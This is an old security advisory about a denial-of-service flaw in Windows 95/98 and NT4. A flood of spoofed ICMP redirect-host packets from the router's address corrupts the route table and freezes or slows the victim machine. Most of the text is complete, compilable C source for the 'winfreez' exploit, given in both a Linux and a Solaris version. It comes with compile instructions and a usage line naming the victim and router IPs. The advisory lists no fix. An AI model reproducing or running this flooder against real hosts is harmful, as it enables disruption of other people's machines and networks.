COMMAND

    kernel

SYSTEMS AFFECTED

    Win9x, NT9(sp4)

PROBLEM

    Delmore found following.  He has written small exploit for  freeze
    win9x/nt  boxes  in  LAN.   Proggy  initiates   ICMP/Redirect-host
    messages storm from router (use router ip).  Windows will  receive
    redirect-host messages  and change  own route  table, therefore it
    will be  frozen or  slowly working  during this  time.   On victim
    machine route table changes viewing with:

        ROUTE PRINT
        command in ms-dos box.

    Exploit show different result for different system  configuration.
    System results (2 sploits; Linux version and Solaris version):

        p200/16ram/win95osr2 is slowly execute application
        after 20 seconds of storm.

        p233/96ram/nt4-sp4 is slowly working after 30
        seconds of storm.

        p2-266/64ram/win95  working  slowly  and  can't normal execute
        application.
    /*
     WinFreez.c by Delmore <delmore@moscowmail.com>

     ICMP/Redirect-host message storm freeze Win9x/NT(sp4) box
     in LAN.

     Usage: winfreez sendtoip sendfromip time
     where <sendtoip> is victim host, <sendfromip> is router
     for victim host, <time> is time in seconds to freeze victim.

     Compiled on RedHat Linux 5, Kernel 2.0.35 (x86)
     gcc ./winfreez.c -o winfreez

     --- for Slackware Linux, Kernel 2.0.30
     If you can't compile due to ip_sum not defined errors,
     replace (line 207):
      ip->ip_sum = 0;
     to line:
      ip->ip_csum = 0;
     ---

     Soldiers Of Satan group
     Russia, Moscow State University, 05 march 1999
     http://sos.nanko.ru

    Thanx to Mark Henderson.

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    #include <string.h>

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>

    /*
     * Structure of an icmp header (from sparc header).
     */

    struct icmp {
     u_char icmp_type; /* type of message, see below */
     u_char icmp_code; /* type sub code */
     u_short icmp_cksum; /* ones complement cksum of struct */

    union {
     u_char ih_pptr; /* ICMP_PARAMPROB */
     struct in_addr ih_gwaddr; /* ICMP_REDIRECT */
     struct ih_idseq {
     n_short icd_id;
     n_short icd_seq;
    } ih_idseq;

    int ih_void;
    } icmp_hun;

    #define icmp_pptr icmp_hun.ih_pptr
    #define icmp_gwaddr icmp_hun.ih_gwaddr
    #define icmp_id icmp_hun.ih_idseq.icd_id
    #define icmp_seq icmp_hun.ih_idseq.icd_seq
    #define icmp_void icmp_hun.ih_void

    union {
     struct id_ts {
     n_time its_otime;
     n_time its_rtime;
     n_time its_ttime;
    } id_ts;

    struct id_ip  {
    struct ip idi_ip;
    /* options and then 64 bits of data */
    } id_ip;

    u_long id_mask;
    char id_data[1];
    } icmp_dun;

    #define icmp_otime icmp_dun.id_ts.its_otime
    #define icmp_rtime icmp_dun.id_ts.its_rtime
    #define icmp_ttime icmp_dun.id_ts.its_ttime
    #define icmp_ip icmp_dun.id_ip.idi_ip
    #define icmp_mask icmp_dun.id_mask
    #define icmp_data icmp_dun.id_data

    };


    u_short in_cksum (u_short *addr, int len);
    void attack( char *sendtoip, char *sendfromip, time_t wtime, int s );


    void main (int argc, char **argv)
    {
      time_t wtime;
      char *sendtoip, *sendfromip;
      int s, on;

      if (argc != 4)
        {
          fprintf (stderr, "usage: %s sendto sendfrom time\n", argv[0]);
          exit (1);
        }

      sendtoip = (char *)malloc(strlen(argv[1]) + 1);
      strcpy(sendtoip, argv[1]);

      sendfromip = (char *)malloc(strlen(argv[2]) + 1);
      strcpy(sendfromip, argv[2]);

      wtime = atol(argv[3]);

      if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
          fprintf (stderr, "socket creation error\n" );
          exit (1);
        }

    #ifdef IP_HDRINCL
      if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
        {
          fprintf (stderr, "sockopt IP_HDRINCL error\n" );
          exit (1);
        }
    #endif

      printf("winfreez by Delmore, <delmore@moscowmail.com>\n");
      printf("Soldiers Of Satan group, http://sos.nanko.ru\n\n");
      printf("sendto = %s\n", sendtoip);
      printf("sendfrom = %s\n", sendfromip);
      printf("time = %i s\n", wtime);

      attack( sendtoip, sendfromip, wtime, s );

      free( (void *) sendtoip );
      free( (void *) sendfromip );
    }


    void attack( char *sendtoip, char *sendfromip, time_t wtime, int s )
    {
      time_t curtime, endtime;
      int i1, i2, i3, i4;
      char redir[21];
      char buf[100];
      struct ip *ip = (struct ip *) buf;
      struct icmp *icmp = (struct icmp *) (ip + 1);
      struct hostent *hp;
      struct sockaddr_in dst;

      if(wtime==0) return;

      if ((hp = gethostbyname (sendtoip)) == NULL)
       if ((ip->ip_dst.s_addr = inet_addr (sendtoip)) == -1)
         {
          fprintf (stderr, "%s: unknown sendto\n", sendtoip);
          exit (1);
         }

      if ((hp = gethostbyname (sendfromip)) == NULL)
       if ((ip->ip_src.s_addr = inet_addr (sendfromip)) == -1)
         {
          fprintf (stderr, "%s: unknown sendfrom\n", sendfromip);
          exit (1);
         }

      endtime = time(NULL) + wtime;

      srand((unsigned int) endtime);

     do {
      bzero (buf, sizeof buf);

      /* sendto/gateway */
      hp = gethostbyname (sendtoip);
      bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
      bcopy (hp->h_addr_list[0], &icmp->icmp_gwaddr.s_addr, hp->h_length);

      /* sendfrom */
      hp = gethostbyname (sendfromip);
      bcopy (hp->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);

      /* generate redirect*/
      i1 = 1+(int) (223.0*rand()/(RAND_MAX+1.0));
      i2 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
      i3 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
      i4 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));

      bzero (redir, sizeof redir);
      sprintf(redir,"%u.%u.%u.%u", i4, i3, i2, i1 );

      hp = gethostbyname (redir);
      bcopy (hp->h_addr_list[0], &icmp->icmp_ip.ip_dst.s_addr, hp->h_length);

      ip->ip_v = 4;
      ip->ip_hl = sizeof *ip >> 2;
      ip->ip_tos = 0;
      ip->ip_len = htons (sizeof buf);
      ip->ip_id = htons (4321);
      ip->ip_off = 0;
      ip->ip_ttl = 255;
      ip->ip_p = 1;
      ip->ip_sum = 0;               /* kernel fills this in */

      bcopy (&ip->ip_dst.s_addr, &icmp->icmp_ip.ip_src.s_addr, sizeof
    (ip->ip_dst.s_addr));
      icmp->icmp_ip.ip_v = 4;
      icmp->icmp_ip.ip_hl = sizeof *ip >> 2;
      icmp->icmp_ip.ip_tos = 0;
      icmp->icmp_ip.ip_len = htons (100);   /* doesn't matter much */
      icmp->icmp_ip.ip_id = htons (3722);
      icmp->icmp_ip.ip_off = 0;
      icmp->icmp_ip.ip_ttl = 254;
      icmp->icmp_ip.ip_p = 1;
      icmp->icmp_ip.ip_sum = in_cksum ((u_short *) & icmp->icmp_ip, sizeof *ip);

      dst.sin_addr = ip->ip_dst;
      dst.sin_family = AF_INET;

      icmp->icmp_type = ICMP_REDIRECT;
      icmp->icmp_code = 1; /* 1 - redirect host, 0 - redirect net */
      icmp->icmp_cksum = in_cksum ((u_short *) icmp, sizeof (buf) - sizeof
    (*ip));

      if( sendto( s, buf, sizeof buf, 0, (struct sockaddr *) &dst, sizeof dst) <
    0 )
        {
          fprintf (stderr, "sendto error\n");
          exit (1);
        }

      }while (time(NULL)!=endtime);
    }

    /*
     * in_cksum -- Checksum routine for Internet Protocol family headers (C
     * Version) - code from 4.4 BSD
     */
    u_short in_cksum (u_short *addr, int len)
    {
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;

      /*
       * Our algorithm is simple, using a 32 bit accumulator (sum), we add
       * sequential 16 bit words to it, and at the end, fold back all the
       * carry bits from the top 16 bits into the lower 16 bits.
       */
      while (nleft > 1)
        {
          sum += *w++;
          nleft -= 2;
        }

      /* mop up an odd byte, if necessary */
      if (nleft == 1)
        {
          *(u_char *) (&answer) = *(u_char *) w;
          sum += answer;
        }
      /* add back carry outs from top 16 bits to low 16 bits */
      sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
      sum += (sum >> 16);           /* add carry */
      answer = ~sum;                /* truncate to 16 bits */
      return (answer);
    }

    Max  Schubert  made  Solaris's  port  [part of winfreez.c based on
    redirect.c (for solaris) by  Mark Henderson (feb 1997).   Original
    redirect.c is simply,  but winfreez.c randomly  generate 'redirect
    addresses'  and  its  criticaly  for  windows route service.  Just
    compare effect of redirect.c and winfreez.c on win machine.   Feel
    difference]

    /*
     WinFreez.c by Delmore <delmore@moscowmail.com>

     Usage: winfreez sendtoip sendfromip time
     where <sendtoip> is victim host, <sendfromip> is router
     for victim host, <time> is time in seconds to freeze victim.

     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    #include <string.h>

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <errno.h>

    /*
     * Structure of an icmp header (from sparc header).
     */

    u_short in_cksum (u_short *addr, int len);
    void attack( char *sendtoip, char *sendfromip, time_t wtime, int s );

    void main (int argc, char **argv)
    {
      time_t wtime;
      /* setsockopt on Solaris 2.5.1 wants (char *) for 4th arg */
      char *sendtoip, *sendfromip, *on;
      int s;

      if (argc != 4)
        {
          fprintf (stderr, "usage: %s sendto sendfrom time\n", argv[0]);
          exit (1);
        }

      sendtoip = (char *)malloc(strlen(argv[1]) + 1);
      strcpy(sendtoip, argv[1]);

      sendfromip = (char *)malloc(strlen(argv[2]) + 1);
      strcpy(sendfromip, argv[2]);

      wtime = atol(argv[3]);

      if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
          fprintf (stderr, "socket creation error: %s\n", strerror(errno));
          exit (1);
        }

    #ifdef IP_HDRINCL
      if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof (on)) < 0)
        {
          fprintf (stderr, "sockopt IP_HDRINCL error\n" );
          exit (1);
        }
    #endif

      printf("winfreez by Delmore, <delmore@moscowmail.com>\n");
      printf("Soldiers Of Satan group, http://sos.nanko.ru\n\n");
      printf("sendto = %s\n", sendtoip);
      printf("sendfrom = %s\n", sendfromip);
      printf("time = %i s\n", wtime);

      attack( sendtoip, sendfromip, wtime, s );

      free( (void *) sendtoip );
      free( (void *) sendfromip );
    }


    void attack( char *sendtoip, char *sendfromip, time_t wtime, int s )
    {
      time_t curtime, endtime;
      int i1, i2, i3, i4;
      char redir[21];
      char buf[100];
      struct ip *ip = (struct ip *) buf;
      struct icmp *icmp = (struct icmp *) (ip + 1);
      struct hostent *hp;
      struct sockaddr_in dst;

      if(wtime==0) return;

      if ((hp = gethostbyname (sendtoip)) == NULL)
       if ((ip->ip_dst.s_addr = inet_addr (sendtoip)) == -1)
         {
          fprintf (stderr, "%s: unknown sendto\n", sendtoip);
          exit (1);
         }

      if ((hp = gethostbyname (sendfromip)) == NULL)
       if ((ip->ip_src.s_addr = inet_addr (sendfromip)) == -1)
         {
          fprintf (stderr, "%s: unknown sendfrom\n", sendfromip);
          exit (1);
         }

      endtime = time(NULL) + wtime;

      srand((unsigned int) endtime);

     do {
      bzero (buf, sizeof buf);

      /* sendto/gateway */
      hp = gethostbyname (sendtoip);
      bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
      bcopy (hp->h_addr_list[0], &icmp->icmp_gwaddr.s_addr, hp->h_length);

      /* sendfrom */
      hp = gethostbyname (sendfromip);
      bcopy (hp->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);

      /* generate redirect*/
      i1 = 1+(int) (223.0*rand()/(RAND_MAX+1.0));
      i2 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
      i3 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
      i4 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));

      bzero (redir, sizeof redir);
      sprintf(redir,"%u.%u.%u.%u", i4, i3, i2, i1 );

      hp = gethostbyname (redir);
      bcopy (hp->h_addr_list[0], &icmp->icmp_ip.ip_dst.s_addr, hp->h_length);

      ip->ip_v = 4;
      ip->ip_hl = sizeof *ip >> 2;
      ip->ip_tos = 0;
      ip->ip_len = htons (sizeof buf);
      ip->ip_id = htons (4321);
      ip->ip_off = 0;
      ip->ip_ttl = 255;
      ip->ip_p = 1;
      ip->ip_sum = 0;               /* kernel fills this in */

      bcopy (&ip->ip_dst.s_addr, &icmp->icmp_ip.ip_src.s_addr, sizeof
    (ip->ip_dst.s_addr));
      icmp->icmp_ip.ip_v = 4;
      icmp->icmp_ip.ip_hl = sizeof *ip >> 2;
      icmp->icmp_ip.ip_tos = 0;
      icmp->icmp_ip.ip_len = htons (100);   /* doesn't matter much */
      icmp->icmp_ip.ip_id = htons (3722);
      icmp->icmp_ip.ip_off = 0;
      icmp->icmp_ip.ip_ttl = 254;
      icmp->icmp_ip.ip_p = 1;
      icmp->icmp_ip.ip_sum = in_cksum ((u_short *) & icmp->icmp_ip, sizeof *ip);

      dst.sin_addr = ip->ip_dst;
      dst.sin_family = AF_INET;

      icmp->icmp_type = ICMP_REDIRECT;
      icmp->icmp_code = 1; /* 1 - redirect host, 0 - redirect net */
      icmp->icmp_cksum = in_cksum ((u_short *) icmp, sizeof (buf) - sizeof
    (*ip));

      if( sendto( s, buf, sizeof buf, 0, (struct sockaddr *) &dst, sizeof dst) <
    0 )
        {
          fprintf (stderr, "sendto error\n");
          exit (1);
        }

      }while (time(NULL)!=endtime);
    }

    /*
     * in_cksum -- Checksum routine for Internet Protocol family headers (C
     * Version) - code from 4.4 BSD
     */
    u_short in_cksum (u_short *addr, int len)
    {
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;

      /*
       * Our algorithm is simple, using a 32 bit accumulator (sum), we add
       * sequential 16 bit words to it, and at the end, fold back all the
       * carry bits from the top 16 bits into the lower 16 bits.
       */
      while (nleft > 1)
        {
          sum += *w++;
          nleft -= 2;
        }

      /* mop up an odd byte, if necessary */
      if (nleft == 1)
        {
          *(u_char *) (&answer) = *(u_char *) w;
          sum += answer;
        }
      /* add back carry outs from top 16 bits to low 16 bits */
      sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
      sum += (sum >> 16);           /* add carry */
      answer = ~sum;                /* truncate to 16 bits */
      return (answer);
    }

SOLUTION

    Nothing yet.